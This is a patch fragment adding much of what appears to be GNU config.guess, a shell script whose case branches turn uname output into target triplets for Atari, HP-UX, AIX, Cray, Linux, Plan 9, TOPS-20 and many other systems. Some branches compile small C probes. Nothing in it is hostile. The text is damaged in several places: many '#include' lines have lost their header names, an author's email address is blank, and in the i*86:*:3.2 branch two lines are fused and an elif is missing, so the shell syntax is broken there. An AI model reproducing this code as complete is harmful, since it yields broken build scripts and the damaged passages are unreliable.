problem. + atarist[e]:*MiNT:*:* | atarist[e]:*mint:*:* | atarist[e]:*TOS:*:*) + echo m68k-atari-mint${UNAME_RELEASE} + exit 0 ;; + atari*:*MiNT:*:* | atari*:*mint:*:* | atarist[e]:*TOS:*:*) + echo m68k-atari-mint${UNAME_RELEASE} + exit 0 ;; + *falcon*:*MiNT:*:* | *falcon*:*mint:*:* | *falcon*:*TOS:*:*) + echo m68k-atari-mint${UNAME_RELEASE} + exit 0 ;; + milan*:*MiNT:*:* | milan*:*mint:*:* | *milan*:*TOS:*:*) + echo m68k-milan-mint${UNAME_RELEASE} + exit 0 ;; + hades*:*MiNT:*:* | hades*:*mint:*:* | *hades*:*TOS:*:*) + echo m68k-hades-mint${UNAME_RELEASE} + exit 0 ;; + *:*MiNT:*:* | *:*mint:*:* | *:*TOS:*:*) + echo m68k-unknown-mint${UNAME_RELEASE} + exit 0 ;; + powerpc:machten:*:*) + echo powerpc-apple-machten${UNAME_RELEASE} + exit 0 ;; + RISC*:Mach:*:*) + echo mips-dec-mach_bsd4.3 + exit 0 ;; + RISC*:ULTRIX:*:*) + echo mips-dec-ultrix${UNAME_RELEASE} + exit 0 ;; + VAX*:ULTRIX*:*:*) + echo vax-dec-ultrix${UNAME_RELEASE} + exit 0 ;; + 2020:CLIX:*:* | 2430:CLIX:*:*) + echo clipper-intergraph-clix${UNAME_RELEASE} + exit 0 ;; + mips:*:*:UMIPS | mips:*:*:RISCos) + eval $set_cc_for_build + sed 's/^ //' << EOF >$dummy.c +#ifdef __cplusplus +#include /* for printf() prototype */ + int main (int argc, char *argv[]) { +#else + int main (argc, argv) int argc; char *argv[]; { +#endif + #if defined (host_mips) && defined (MIPSEB) + #if defined (SYSTYPE_SYSV) + printf ("mips-mips-riscos%ssysv\n", argv[1]); exit (0); + #endif + #if defined (SYSTYPE_SVR4) + printf ("mips-mips-riscos%ssvr4\n", argv[1]); exit (0); + #endif + #if defined (SYSTYPE_BSD43) || defined(SYSTYPE_BSD) + printf ("mips-mips-riscos%sbsd\n", argv[1]); exit (0); + #endif + #endif + exit (-1); + } +EOF + $CC_FOR_BUILD -o $dummy $dummy.c \ + && $dummy `echo "${UNAME_RELEASE}" | sed -n 's/\([0-9]*\).*/\1/p'` \ + && exit 0 + echo mips-mips-riscos${UNAME_RELEASE} + exit 0 ;; + Motorola:PowerMAX_OS:*:*) + echo powerpc-motorola-powermax + exit 0 ;; + Motorola:*:4.3:PL8-*) + echo powerpc-harris-powermax + exit 0 ;; + Night_Hawk:*:*:PowerMAX_OS | Synergy:PowerMAX_OS:*:*) + echo powerpc-harris-powermax + exit 0 ;; + Night_Hawk:Power_UNIX:*:*) + echo powerpc-harris-powerunix + exit 0 ;; + m88k:CX/UX:7*:*) + echo m88k-harris-cxux7 + exit 0 ;; + m88k:*:4*:R4*) + echo m88k-motorola-sysv4 + exit 0 ;; + m88k:*:3*:R3*) + echo m88k-motorola-sysv3 + exit 0 ;; + AViiON:dgux:*:*) + # DG/UX returns AViiON for all architectures + UNAME_PROCESSOR=`/usr/bin/uname -p` + if [ $UNAME_PROCESSOR = mc88100 ] || [ $UNAME_PROCESSOR = mc88110 ] + then + if [ ${TARGET_BINARY_INTERFACE}x = m88kdguxelfx ] || \ + [ ${TARGET_BINARY_INTERFACE}x = x ] + then + echo m88k-dg-dgux${UNAME_RELEASE} + else + echo m88k-dg-dguxbcs${UNAME_RELEASE} + fi + else + echo i586-dg-dgux${UNAME_RELEASE} + fi + exit 0 ;; + M88*:DolphinOS:*:*) # DolphinOS (SVR3) + echo m88k-dolphin-sysv3 + exit 0 ;; + M88*:*:R3*:*) + # Delta 88k system running SVR3 + echo m88k-motorola-sysv3 + exit 0 ;; + XD88*:*:*:*) # Tektronix XD88 system running UTekV (SVR3) + echo m88k-tektronix-sysv3 + exit 0 ;; + Tek43[0-9][0-9]:UTek:*:*) # Tektronix 4300 system running UTek (BSD) + echo m68k-tektronix-bsd + exit 0 ;; + *:IRIX*:*:*) + echo mips-sgi-irix`echo ${UNAME_RELEASE}|sed -e 's/-/_/g'` + exit 0 ;; + ????????:AIX?:[12].1:2) # AIX 2.2.1 or AIX 2.1.1 is RT/PC AIX. + echo romp-ibm-aix # uname -m gives an 8 hex-code CPU id + exit 0 ;; # Note that: echo "'`uname -s`'" gives 'AIX ' + i*86:AIX:*:*) + echo i386-ibm-aix + exit 0 ;; + ia64:AIX:*:*) + if [ -x /usr/bin/oslevel ] ; then + IBM_REV=`/usr/bin/oslevel` + else + IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE} + fi + echo ${UNAME_MACHINE}-ibm-aix${IBM_REV} + exit 0 ;; + *:AIX:2:3) + if grep bos325 /usr/include/stdio.h >/dev/null 2>&1; then + eval $set_cc_for_build + sed 's/^ //' << EOF >$dummy.c + #include + + main() + { + if (!__power_pc()) + exit(1); + puts("powerpc-ibm-aix3.2.5"); + exit(0); + } +EOF + $CC_FOR_BUILD -o $dummy $dummy.c && $dummy && exit 0 + echo rs6000-ibm-aix3.2.5 + elif grep bos324 /usr/include/stdio.h >/dev/null 2>&1; then + echo rs6000-ibm-aix3.2.4 + else + echo rs6000-ibm-aix3.2 + fi + exit 0 ;; + *:AIX:*:[45]) + IBM_CPU_ID=`/usr/sbin/lsdev -C -c processor -S available | sed 1q | awk '{ print $1 }'` + if /usr/sbin/lsattr -El ${IBM_CPU_ID} | grep ' POWER' >/dev/null 2>&1; then + IBM_ARCH=rs6000 + else + IBM_ARCH=powerpc + fi + if [ -x /usr/bin/oslevel ] ; then + IBM_REV=`/usr/bin/oslevel` + else + IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE} + fi + echo ${IBM_ARCH}-ibm-aix${IBM_REV} + exit 0 ;; + *:AIX:*:*) + echo rs6000-ibm-aix + exit 0 ;; + ibmrt:4.4BSD:*|romp-ibm:BSD:*) + echo romp-ibm-bsd4.4 + exit 0 ;; + ibmrt:*BSD:*|romp-ibm:BSD:*) # covers RT/PC BSD and + echo romp-ibm-bsd${UNAME_RELEASE} # 4.3 with uname added to + exit 0 ;; # report: romp-ibm BSD 4.3 + *:BOSX:*:*) + echo rs6000-bull-bosx + exit 0 ;; + DPX/2?00:B.O.S.:*:*) + echo m68k-bull-sysv3 + exit 0 ;; + 9000/[34]??:4.3bsd:1.*:*) + echo m68k-hp-bsd + exit 0 ;; + hp300:4.4BSD:*:* | 9000/[34]??:4.3bsd:2.*:*) + echo m68k-hp-bsd4.4 + exit 0 ;; + 9000/[34678]??:HP-UX:*:*) + HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'` + case "${UNAME_MACHINE}" in + 9000/31? ) HP_ARCH=m68000 ;; + 9000/[34]?? ) HP_ARCH=m68k ;; + 9000/[678][0-9][0-9]) + if [ -x /usr/bin/getconf ]; then + sc_cpu_version=`/usr/bin/getconf SC_CPU_VERSION 2>/dev/null` + sc_kernel_bits=`/usr/bin/getconf SC_KERNEL_BITS 2>/dev/null` + case "${sc_cpu_version}" in + 523) HP_ARCH="hppa1.0" ;; # CPU_PA_RISC1_0 + 528) HP_ARCH="hppa1.1" ;; # CPU_PA_RISC1_1 + 532) # CPU_PA_RISC2_0 + case "${sc_kernel_bits}" in + 32) HP_ARCH="hppa2.0n" ;; + 64) HP_ARCH="hppa2.0w" ;; + '') HP_ARCH="hppa2.0" ;; # HP-UX 10.20 + esac ;; + esac + fi + if [ "${HP_ARCH}" = "" ]; then + eval $set_cc_for_build + sed 's/^ //' << EOF >$dummy.c + + #define _HPUX_SOURCE + #include + #include + + int main () + { + #if defined(_SC_KERNEL_BITS) + long bits = sysconf(_SC_KERNEL_BITS); + #endif + long cpu = sysconf (_SC_CPU_VERSION); + + switch (cpu) + { + case CPU_PA_RISC1_0: puts ("hppa1.0"); break; + case CPU_PA_RISC1_1: puts ("hppa1.1"); break; + case CPU_PA_RISC2_0: + #if defined(_SC_KERNEL_BITS) + switch (bits) + { + case 64: puts ("hppa2.0w"); break; + case 32: puts ("hppa2.0n"); break; + default: puts ("hppa2.0"); break; + } break; + #else /* !defined(_SC_KERNEL_BITS) */ + puts ("hppa2.0"); break; + #endif + default: puts ("hppa1.0"); break; + } + exit (0); + } +EOF + (CCOPTS= $CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null) && HP_ARCH=`$dummy` + test -z "$HP_ARCH" && HP_ARCH=hppa + fi ;; + esac + if [ ${HP_ARCH} = "hppa2.0w" ] + then + # avoid double evaluation of $set_cc_for_build + test -n "$CC_FOR_BUILD" || eval $set_cc_for_build + if echo __LP64__ | (CCOPTS= $CC_FOR_BUILD -E -) | grep __LP64__ >/dev/null + then + HP_ARCH="hppa2.0w" + else + HP_ARCH="hppa64" + fi + fi + echo ${HP_ARCH}-hp-hpux${HPUX_REV} + exit 0 ;; + ia64:HP-UX:*:*) + HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'` + echo ia64-hp-hpux${HPUX_REV} + exit 0 ;; + 3050*:HI-UX:*:*) + eval $set_cc_for_build + sed 's/^ //' << EOF >$dummy.c + #include + int + main () + { + long cpu = sysconf (_SC_CPU_VERSION); + /* The order matters, because CPU_IS_HP_MC68K erroneously returns + true for CPU_PA_RISC1_0. CPU_IS_PA_RISC returns correct + results, however. */ + if (CPU_IS_PA_RISC (cpu)) + { + switch (cpu) + { + case CPU_PA_RISC1_0: puts ("hppa1.0-hitachi-hiuxwe2"); break; + case CPU_PA_RISC1_1: puts ("hppa1.1-hitachi-hiuxwe2"); break; + case CPU_PA_RISC2_0: puts ("hppa2.0-hitachi-hiuxwe2"); break; + default: puts ("hppa-hitachi-hiuxwe2"); break; + } + } + else if (CPU_IS_HP_MC68K (cpu)) + puts ("m68k-hitachi-hiuxwe2"); + else puts ("unknown-hitachi-hiuxwe2"); + exit (0); + } +EOF + $CC_FOR_BUILD -o $dummy $dummy.c && $dummy && exit 0 + echo unknown-hitachi-hiuxwe2 + exit 0 ;; + 9000/7??:4.3bsd:*:* | 9000/8?[79]:4.3bsd:*:* ) + echo hppa1.1-hp-bsd + exit 0 ;; + 9000/8??:4.3bsd:*:*) + echo hppa1.0-hp-bsd + exit 0 ;; + *9??*:MPE/iX:*:* | *3000*:MPE/iX:*:*) + echo hppa1.0-hp-mpeix + exit 0 ;; + hp7??:OSF1:*:* | hp8?[79]:OSF1:*:* ) + echo hppa1.1-hp-osf + exit 0 ;; + hp8??:OSF1:*:*) + echo hppa1.0-hp-osf + exit 0 ;; + i*86:OSF1:*:*) + if [ -x /usr/sbin/sysversion ] ; then + echo ${UNAME_MACHINE}-unknown-osf1mk + else + echo ${UNAME_MACHINE}-unknown-osf1 + fi + exit 0 ;; + parisc*:Lites*:*:*) + echo hppa1.1-hp-lites + exit 0 ;; + C1*:ConvexOS:*:* | convex:ConvexOS:C1*:*) + echo c1-convex-bsd + exit 0 ;; + C2*:ConvexOS:*:* | convex:ConvexOS:C2*:*) + if getsysinfo -f scalar_acc + then echo c32-convex-bsd + else echo c2-convex-bsd + fi + exit 0 ;; + C34*:ConvexOS:*:* | convex:ConvexOS:C34*:*) + echo c34-convex-bsd + exit 0 ;; + C38*:ConvexOS:*:* | convex:ConvexOS:C38*:*) + echo c38-convex-bsd + exit 0 ;; + C4*:ConvexOS:*:* | convex:ConvexOS:C4*:*) + echo c4-convex-bsd + exit 0 ;; + CRAY*Y-MP:*:*:*) + echo ymp-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' + exit 0 ;; + CRAY*[A-Z]90:*:*:*) + echo ${UNAME_MACHINE}-cray-unicos${UNAME_RELEASE} \ + | sed -e 's/CRAY.*\([A-Z]90\)/\1/' \ + -e y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/ \ + -e 's/\.[^.]*$/.X/' + exit 0 ;; + CRAY*TS:*:*:*) + echo t90-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' + exit 0 ;; + CRAY*T3E:*:*:*) + echo alphaev5-cray-unicosmk${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' + exit 0 ;; + CRAY*SV1:*:*:*) + echo sv1-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' + exit 0 ;; + *:UNICOS/mp:*:*) + echo nv1-cray-unicosmp${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' + exit 0 ;; + F30[01]:UNIX_System_V:*:* | F700:UNIX_System_V:*:*) + FUJITSU_PROC=`uname -m | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'` + FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'` + FUJITSU_REL=`echo ${UNAME_RELEASE} | sed -e 's/ /_/'` + echo "${FUJITSU_PROC}-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" + exit 0 ;; + i*86:BSD/386:*:* | i*86:BSD/OS:*:* | *:Ascend\ Embedded/OS:*:*) + echo ${UNAME_MACHINE}-pc-bsdi${UNAME_RELEASE} + exit 0 ;; + sparc*:BSD/OS:*:*) + echo sparc-unknown-bsdi${UNAME_RELEASE} + exit 0 ;; + *:BSD/OS:*:*) + echo ${UNAME_MACHINE}-unknown-bsdi${UNAME_RELEASE} + exit 0 ;; + *:FreeBSD:*:*|*:GNU/FreeBSD:*:*) + # Determine whether the default compiler uses glibc. + eval $set_cc_for_build + sed 's/^ //' << EOF >$dummy.c + #include + #if __GLIBC__ >= 2 + LIBC=gnu + #else + LIBC= + #endif +EOF + eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep ^LIBC=` + # GNU/FreeBSD systems have a "k" prefix to indicate we are using + # FreeBSD's kernel, but not the complete OS. + case ${LIBC} in gnu) kernel_only='k' ;; esac + echo ${UNAME_MACHINE}-unknown-${kernel_only}freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'`${LIBC:+-$LIBC} + exit 0 ;; + i*:CYGWIN*:*) + echo ${UNAME_MACHINE}-pc-cygwin + exit 0 ;; + i*:MINGW*:*) + echo ${UNAME_MACHINE}-pc-mingw32 + exit 0 ;; + i*:PW*:*) + echo ${UNAME_MACHINE}-pc-pw32 + exit 0 ;; + x86:Interix*:[34]*) + echo i586-pc-interix${UNAME_RELEASE}|sed -e 's/\..*//' + exit 0 ;; + [345]86:Windows_95:* | [345]86:Windows_98:* | [345]86:Windows_NT:*) + echo i${UNAME_MACHINE}-pc-mks + exit 0 ;; + i*:Windows_NT*:* | Pentium*:Windows_NT*:*) + # How do we know it's Interix rather than the generic POSIX subsystem? + # It also conflicts with pre-2.0 versions of AT&T UWIN. Should we + # UNAME_MACHINE based on the output of uname instead of i386? + echo i586-pc-interix + exit 0 ;; + i*:UWIN*:*) + echo ${UNAME_MACHINE}-pc-uwin + exit 0 ;; + p*:CYGWIN*:*) + echo powerpcle-unknown-cygwin + exit 0 ;; + prep*:SunOS:5.*:*) + echo powerpcle-unknown-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit 0 ;; + *:GNU:*:*) + echo `echo ${UNAME_MACHINE}|sed -e 's,[-/].*$,,'`-unknown-gnu`echo ${UNAME_RELEASE}|sed -e 's,/.*$,,'` + exit 0 ;; + i*86:Minix:*:*) + echo ${UNAME_MACHINE}-pc-minix + exit 0 ;; + arm*:Linux:*:*) + echo ${UNAME_MACHINE}-unknown-linux-gnu + exit 0 ;; + cris:Linux:*:*) + echo cris-axis-linux-gnu + exit 0 ;; + ia64:Linux:*:*) + echo ${UNAME_MACHINE}-unknown-linux-gnu + exit 0 ;; + m68*:Linux:*:*) + echo ${UNAME_MACHINE}-unknown-linux-gnu + exit 0 ;; + mips:Linux:*:*) + eval $set_cc_for_build + sed 's/^ //' << EOF >$dummy.c + #undef CPU + #undef mips + #undef mipsel + #if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL) + CPU=mipsel + #else + #if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB) + CPU=mips + #else + CPU= + #endif + #endif +EOF + eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep ^CPU=` + test x"${CPU}" != x && echo "${CPU}-unknown-linux-gnu" && exit 0 + ;; + mips64:Linux:*:*) + eval $set_cc_for_build + sed 's/^ //' << EOF >$dummy.c + #undef CPU + #undef mips64 + #undef mips64el + #if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL) + CPU=mips64el + #else + #if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB) + CPU=mips64 + #else + CPU= + #endif + #endif +EOF + eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep ^CPU=` + test x"${CPU}" != x && echo "${CPU}-unknown-linux-gnu" && exit 0 + ;; + ppc:Linux:*:*) + echo powerpc-unknown-linux-gnu + exit 0 ;; + ppc64:Linux:*:*) + echo powerpc64-unknown-linux-gnu + exit 0 ;; + alpha:Linux:*:*) + case `sed -n '/^cpu model/s/^.*: \(.*\)/\1/p' < /proc/cpuinfo` in + EV5) UNAME_MACHINE=alphaev5 ;; + EV56) UNAME_MACHINE=alphaev56 ;; + PCA56) UNAME_MACHINE=alphapca56 ;; + PCA57) UNAME_MACHINE=alphapca56 ;; + EV6) UNAME_MACHINE=alphaev6 ;; + EV67) UNAME_MACHINE=alphaev67 ;; + EV68*) UNAME_MACHINE=alphaev68 ;; + esac + objdump --private-headers /bin/sh | grep ld.so.1 >/dev/null + if test "$?" = 0 ; then LIBC="libc1" ; else LIBC="" ; fi + echo ${UNAME_MACHINE}-unknown-linux-gnu${LIBC} + exit 0 ;; + parisc:Linux:*:* | hppa:Linux:*:*) + # Look for CPU level + case `grep '^cpu[^a-z]*:' /proc/cpuinfo 2>/dev/null | cut -d' ' -f2` in + PA7*) echo hppa1.1-unknown-linux-gnu ;; + PA8*) echo hppa2.0-unknown-linux-gnu ;; + *) echo hppa-unknown-linux-gnu ;; + esac + exit 0 ;; + parisc64:Linux:*:* | hppa64:Linux:*:*) + echo hppa64-unknown-linux-gnu + exit 0 ;; + s390:Linux:*:* | s390x:Linux:*:*) + echo ${UNAME_MACHINE}-ibm-linux + exit 0 ;; + sh64*:Linux:*:*) + echo ${UNAME_MACHINE}-unknown-linux-gnu + exit 0 ;; + sh*:Linux:*:*) + echo ${UNAME_MACHINE}-unknown-linux-gnu + exit 0 ;; + sparc:Linux:*:* | sparc64:Linux:*:*) + echo ${UNAME_MACHINE}-unknown-linux-gnu + exit 0 ;; + x86_64:Linux:*:*) + echo x86_64-unknown-linux-gnu + exit 0 ;; + i*86:Linux:*:*) + # The BFD linker knows what the default object file format is, so + # first see if it will tell us. cd to the root directory to prevent + # problems with other programs or directories called `ld' in the path. + # Set LC_ALL=C to ensure ld outputs messages in English. + ld_supported_targets=`cd /; LC_ALL=C ld --help 2>&1 \ + | sed -ne '/supported targets:/!d + s/[ ][ ]*/ /g + s/.*supported targets: *// + s/ .*// + p'` + case "$ld_supported_targets" in + elf32-i386) + TENTATIVE="${UNAME_MACHINE}-pc-linux-gnu" + ;; + a.out-i386-linux) + echo "${UNAME_MACHINE}-pc-linux-gnuaout" + exit 0 ;; + coff-i386) + echo "${UNAME_MACHINE}-pc-linux-gnucoff" + exit 0 ;; + "") + # Either a pre-BFD a.out linker (linux-gnuoldld) or + # one that does not give us useful --help. + echo "${UNAME_MACHINE}-pc-linux-gnuoldld" + exit 0 ;; + esac + # Determine whether the default compiler is a.out or elf + eval $set_cc_for_build + sed 's/^ //' << EOF >$dummy.c + #include + #ifdef __ELF__ + # ifdef __GLIBC__ + # if __GLIBC__ >= 2 + LIBC=gnu + # else + LIBC=gnulibc1 + # endif + # else + LIBC=gnulibc1 + # endif + #else + #ifdef __INTEL_COMPILER + LIBC=gnu + #else + LIBC=gnuaout + #endif + #endif +EOF + eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep ^LIBC=` + test x"${LIBC}" != x && echo "${UNAME_MACHINE}-pc-linux-${LIBC}" && exit 0 + test x"${TENTATIVE}" != x && echo "${TENTATIVE}" && exit 0 + ;; + i*86:DYNIX/ptx:4*:*) + # ptx 4.0 does uname -s correctly, with DYNIX/ptx in there. + # earlier versions are messed up and put the nodename in both + # sysname and nodename. + echo i386-sequent-sysv4 + exit 0 ;; + i*86:UNIX_SV:4.2MP:2.*) + # Unixware is an offshoot of SVR4, but it has its own version + # number series starting with 2... + # I am not positive that other SVR4 systems won't match this, + # I just have to hope. -- rms. + # Use sysv4.2uw... so that sysv4* matches it. + echo ${UNAME_MACHINE}-pc-sysv4.2uw${UNAME_VERSION} + exit 0 ;; + i*86:OS/2:*:*) + # If we were able to find `uname', then EMX Unix compatibility + # is probably installed. + echo ${UNAME_MACHINE}-pc-os2-emx + exit 0 ;; + i*86:XTS-300:*:STOP) + echo ${UNAME_MACHINE}-unknown-stop + exit 0 ;; + i*86:atheos:*:*) + echo ${UNAME_MACHINE}-unknown-atheos + exit 0 ;; + i*86:LynxOS:2.*:* | i*86:LynxOS:3.[01]*:* | i*86:LynxOS:4.0*:*) + echo i386-unknown-lynxos${UNAME_RELEASE} + exit 0 ;; + i*86:*DOS:*:*) + echo ${UNAME_MACHINE}-pc-msdosdjgpp + exit 0 ;; + i*86:*:4.*:* | i*86:SYSTEM_V:4.*:*) + UNAME_REL=`echo ${UNAME_RELEASE} | sed 's/\/MP$//'` + if grep Novell /usr/include/link.h >/dev/null 2>/dev/null; then + echo ${UNAME_MACHINE}-univel-sysv${UNAME_REL} + else + echo ${UNAME_MACHINE}-pc-sysv${UNAME_REL} + fi + exit 0 ;; + i*86:*:5:[78]*) + case `/bin/uname -X | grep "^Machine"` in + *486*) UNAME_MACHINE=i486 ;; + *Pentium) UNAME_MACHINE=i586 ;; + *Pent*|*Celeron) UNAME_MACHINE=i686 ;; + esac + echo ${UNAME_MACHINE}-unknown-sysv${UNAME_RELEASE}${UNAME_SYSTEM}${UNAME_VERSION} + exit 0 ;; + i*86:*:3.2:*) + if test -f /usr/options/cb.name; then + UNAME_REL=`sed -n 's/.*Version //p' /dev/null >/dev/null ; then + UNAME_REL=`(/bin/uname -X|grep Release|sed -e 's/.*= //')` + (/bin/uname -X|grep i80486 >/dev/null) && UNAME_MACHINE=i486 + (/bin/uname -X|grep '^Machine.*Pentium' >/dev/null) \ + && UNAME_MACHINE=i586 + (/bin/uname -X|grep '^Machine.*Pent *II' >/dev/null) \ + && UNAME_MACHINE=i686 + (/bin/uname -X|grep '^Machine.*Pentium Pro' >/dev/null) \ + && UNAME_MACHINE=i686 + echo ${UNAME_MACHINE}-pc-sco$UNAME_REL + else + echo ${UNAME_MACHINE}-pc-sysv32 + fi + exit 0 ;; + pc:*:*:*) + # Left here for compatibility: + # uname -m prints for DJGPP always 'pc', but it prints nothing about + # the processor, so we play safe by assuming i386. + echo i386-pc-msdosdjgpp + exit 0 ;; + Intel:Mach:3*:*) + echo i386-pc-mach3 + exit 0 ;; + paragon:*:*:*) + echo i860-intel-osf1 + exit 0 ;; + i860:*:4.*:*) # i860-SVR4 + if grep Stardent /usr/include/sys/uadmin.h >/dev/null 2>&1 ; then + echo i860-stardent-sysv${UNAME_RELEASE} # Stardent Vistra i860-SVR4 + else # Add other i860-SVR4 vendors below as they are discovered. + echo i860-unknown-sysv${UNAME_RELEASE} # Unknown i860-SVR4 + fi + exit 0 ;; + mini*:CTIX:SYS*5:*) + # "miniframe" + echo m68010-convergent-sysv + exit 0 ;; + mc68k:UNIX:SYSTEM5:3.51m) + echo m68k-convergent-sysv + exit 0 ;; + M680?0:D-NIX:5.3:*) + echo m68k-diab-dnix + exit 0 ;; + M68*:*:R3V[567]*:*) + test -r /sysV68 && echo 'm68k-motorola-sysv' && exit 0 ;; + 3[34]??:*:4.0:3.0 | 3[34]??A:*:4.0:3.0 | 3[34]??,*:*:4.0:3.0 | 3[34]??/*:*:4.0:3.0 | 4400:*:4.0:3.0 | 4850:*:4.0:3.0 | SKA40:*:4.0:3.0 | SDS2:*:4.0:3.0 | SHG2:*:4.0:3.0) + OS_REL='' + test -r /etc/.relid \ + && OS_REL=.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid` + /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ + && echo i486-ncr-sysv4.3${OS_REL} && exit 0 + /bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \ + && echo i586-ncr-sysv4.3${OS_REL} && exit 0 ;; + 3[34]??:*:4.0:* | 3[34]??,*:*:4.0:*) + /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ + && echo i486-ncr-sysv4 && exit 0 ;; + m68*:LynxOS:2.*:* | m68*:LynxOS:3.0*:*) + echo m68k-unknown-lynxos${UNAME_RELEASE} + exit 0 ;; + mc68030:UNIX_System_V:4.*:*) + echo m68k-atari-sysv4 + exit 0 ;; + TSUNAMI:LynxOS:2.*:*) + echo sparc-unknown-lynxos${UNAME_RELEASE} + exit 0 ;; + rs6000:LynxOS:2.*:*) + echo rs6000-unknown-lynxos${UNAME_RELEASE} + exit 0 ;; + PowerPC:LynxOS:2.*:* | PowerPC:LynxOS:3.[01]*:* | PowerPC:LynxOS:4.0*:*) + echo powerpc-unknown-lynxos${UNAME_RELEASE} + exit 0 ;; + SM[BE]S:UNIX_SV:*:*) + echo mips-dde-sysv${UNAME_RELEASE} + exit 0 ;; + RM*:ReliantUNIX-*:*:*) + echo mips-sni-sysv4 + exit 0 ;; + RM*:SINIX-*:*:*) + echo mips-sni-sysv4 + exit 0 ;; + *:SINIX-*:*:*) + if uname -p 2>/dev/null >/dev/null ; then + UNAME_MACHINE=`(uname -p) 2>/dev/null` + echo ${UNAME_MACHINE}-sni-sysv4 + else + echo ns32k-sni-sysv + fi + exit 0 ;; + PENTIUM:*:4.0*:*) # Unisys `ClearPath HMP IX 4000' SVR4/MP effort + # says + echo i586-unisys-sysv4 + exit 0 ;; + *:UNIX_System_V:4*:FTX*) + # From Gerald Hewes . + # How about differentiating between stratus architectures? -djm + echo hppa1.1-stratus-sysv4 + exit 0 ;; + *:*:*:FTX*) + # From seanf@swdc.stratus.com. + echo i860-stratus-sysv4 + exit 0 ;; + *:VOS:*:*) + # From Paul.Green@stratus.com. + echo hppa1.1-stratus-vos + exit 0 ;; + mc68*:A/UX:*:*) + echo m68k-apple-aux${UNAME_RELEASE} + exit 0 ;; + news*:NEWS-OS:6*:*) + echo mips-sony-newsos6 + exit 0 ;; + R[34]000:*System_V*:*:* | R4000:UNIX_SYSV:*:* | R*000:UNIX_SV:*:*) + if [ -d /usr/nec ]; then + echo mips-nec-sysv${UNAME_RELEASE} + else + echo mips-unknown-sysv${UNAME_RELEASE} + fi + exit 0 ;; + BeBox:BeOS:*:*) # BeOS running on hardware made by Be, PPC only. + echo powerpc-be-beos + exit 0 ;; + BeMac:BeOS:*:*) # BeOS running on Mac or Mac clone, PPC only. + echo powerpc-apple-beos + exit 0 ;; + BePC:BeOS:*:*) # BeOS running on Intel PC compatible. + echo i586-pc-beos + exit 0 ;; + SX-4:SUPER-UX:*:*) + echo sx4-nec-superux${UNAME_RELEASE} + exit 0 ;; + SX-5:SUPER-UX:*:*) + echo sx5-nec-superux${UNAME_RELEASE} + exit 0 ;; + SX-6:SUPER-UX:*:*) + echo sx6-nec-superux${UNAME_RELEASE} + exit 0 ;; + Power*:Rhapsody:*:*) + echo powerpc-apple-rhapsody${UNAME_RELEASE} + exit 0 ;; + *:Rhapsody:*:*) + echo ${UNAME_MACHINE}-apple-rhapsody${UNAME_RELEASE} + exit 0 ;; + *:Darwin:*:*) + case `uname -p` in + *86) UNAME_PROCESSOR=i686 ;; + powerpc) UNAME_PROCESSOR=powerpc ;; + esac + echo ${UNAME_PROCESSOR}-apple-darwin${UNAME_RELEASE} + exit 0 ;; + *:procnto*:*:* | *:QNX:[0123456789]*:*) + UNAME_PROCESSOR=`uname -p` + if test "$UNAME_PROCESSOR" = "x86"; then + UNAME_PROCESSOR=i386 + UNAME_MACHINE=pc + fi + echo ${UNAME_PROCESSOR}-${UNAME_MACHINE}-nto-qnx${UNAME_RELEASE} + exit 0 ;; + *:QNX:*:4*) + echo i386-pc-qnx + exit 0 ;; + NSR-[DGKLNPTVW]:NONSTOP_KERNEL:*:*) + echo nsr-tandem-nsk${UNAME_RELEASE} + exit 0 ;; + *:NonStop-UX:*:*) + echo mips-compaq-nonstopux + exit 0 ;; + BS2000:POSIX*:*:*) + echo bs2000-siemens-sysv + exit 0 ;; + DS/*:UNIX_System_V:*:*) + echo ${UNAME_MACHINE}-${UNAME_SYSTEM}-${UNAME_RELEASE} + exit 0 ;; + *:Plan9:*:*) + # "uname -m" is not consistent, so use $cputype instead. 386 + # is converted to i386 for consistency with other x86 + # operating systems. + if test "$cputype" = "386"; then + UNAME_MACHINE=i386 + else + UNAME_MACHINE="$cputype" + fi + echo ${UNAME_MACHINE}-unknown-plan9 + exit 0 ;; + *:TOPS-10:*:*) + echo pdp10-unknown-tops10 + exit 0 ;; + *:TENEX:*:*) + echo pdp10-unknown-tenex + exit 0 ;; + KS10:TOPS-20:*:* | KL10:TOPS-20:*:* | TYPE4:TOPS-20:*:*) + echo pdp10-dec-tops20 + exit 0 ;; + XKL-1:TOPS-20:*:* | TYPE5:TOPS-20:*:*) + echo pdp10-xkl-tops20 + exit 0 ;; + *:TOPS-20:*:*) + echo pdp10-unknown-tops20 + exit 0 ;; + *:ITS:*:*) + echo pdp10-unknown-its + exit 0 ;; + 